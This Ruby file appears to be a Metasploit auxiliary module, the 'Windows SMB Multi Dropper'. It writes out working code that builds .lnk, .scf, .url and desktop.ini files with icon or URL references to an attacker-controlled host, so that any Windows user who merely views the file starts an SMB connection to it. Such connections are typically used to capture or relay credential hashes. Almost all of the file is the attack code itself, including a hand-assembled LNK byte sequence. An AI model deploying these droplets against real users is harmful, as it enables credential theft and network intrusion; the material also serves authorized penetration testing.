141 lines
5.0 KiB
Ruby
141 lines
5.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/auxiliary/report'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows SMB Multi Dropper',
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'Description' => %q{
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This module dependent on the given filename extension creates either
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a .lnk, .scf, .url, desktop.ini file which includes a reference
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to the the specified remote host, causing SMB connections to be initiated
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from any user that views the file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy
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'Lnk Creation Code by Mubix' #Lnk Creation Code written by Mubix
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],
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'Platform' => [ 'win' ],
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'References' =>
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[
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['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'],
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['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/']
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]
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))
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register_options(
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[
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OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
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OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]),
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])
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end
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def run
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if datastore['FILENAME'].chars.last(3).join=="lnk"
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createlnk
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elsif datastore['FILENAME'].chars.last(3).join=="scf"
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createscf
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elsif datastore['FILENAME']=="desktop.ini"
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create_desktopini
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elsif datastore['FILENAME'].chars.last(3).join=="url"
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create_url
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end
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end
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def createlnk
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#Code below taken from module droplnk.rb written by Mubix
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lnk = ""
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lnk << "\x4c\x00\x00\x00" #Header size
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lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" #Link CLSID
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lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46"
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lnk << "\xdb\x00\x00\x00" #Link flags
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lnk << "\x20\x00\x00\x00" #File attributes
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lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Creation time
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lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Access time
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lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" #Write time
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lnk << "\x00\x00\x00\x00" #File size
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lnk << "\x00\x00\x00\x00" #Icon index
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lnk << "\x01\x00\x00\x00" #Show command
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lnk << "\x00\x00" #Hotkey
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lnk << "\x00\x00" #Reserved
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lnk << "\x00\x00\x00\x00" #Reserved
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lnk << "\x00\x00\x00\x00" #Reserved
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lnk << "\x7b\x00" #IDListSize
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#sIDList
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lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20"
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lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00"
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lnk << "\x2b\x30\x30\x9d\x19\x00\x2f"
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lnk << "C:\\"
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lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20"
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lnk << "\x00"
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lnk << "AUTOEXEC.BAT"
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lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f"
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lnk << "\x5b\x15\x14\x00\x00\x00"
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lnk << Rex::Text.to_unicode("AUTOEXEC.BAT")
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lnk << "\x00\x00\x1c\x00\x00\x00"
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#sLinkInfo
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lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00"
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lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00"
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lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00"
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lnk << "\x00\x00\x00"
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lnk << "C:\\AUTOEXEC.BAT"
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lnk << "\x00\x00\x0e\x00"
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#RELATIVE_PATH
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lnk << Rex::Text.to_unicode(".\\AUTOEXEC.BAT")
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lnk << "\x03\x00"
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#WORKING_DIR
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lnk << Rex::Text.to_unicode("C:\\")
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#ICON LOCATION
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lnk << "\x1c\x00"
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lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\icon.ico")
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lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00"
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lnk << "computer"
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lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"
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lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"
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lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"
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lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"
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lnk << "\x08\x00\x27\x6f\xe3\x1f\x00\x00\x00\x00"
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file_create(lnk)
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end
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def createscf
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scf=""
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scf << "[Shell]\n"
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scf << "Command=2\n"
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scf << "IconFile=\\\\#{datastore['LHOST']}\\test.ico\n"
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scf << "[Taskbar]\n"
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scf << "Command=ToggleDesktop"
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file_create(scf)
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end
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def create_desktopini
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ini=""
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ini << "[.ShellClassInfo]\n"
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ini << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"
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ini << "IconIndex=1337"
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file_create(ini)
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end
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def create_url
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url=""
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url << "[InternetShortcut]\n"
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url << "URL=file://#{datastore['LHOST']}/url.html\n"
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url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"
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file_create(url)
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end
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end
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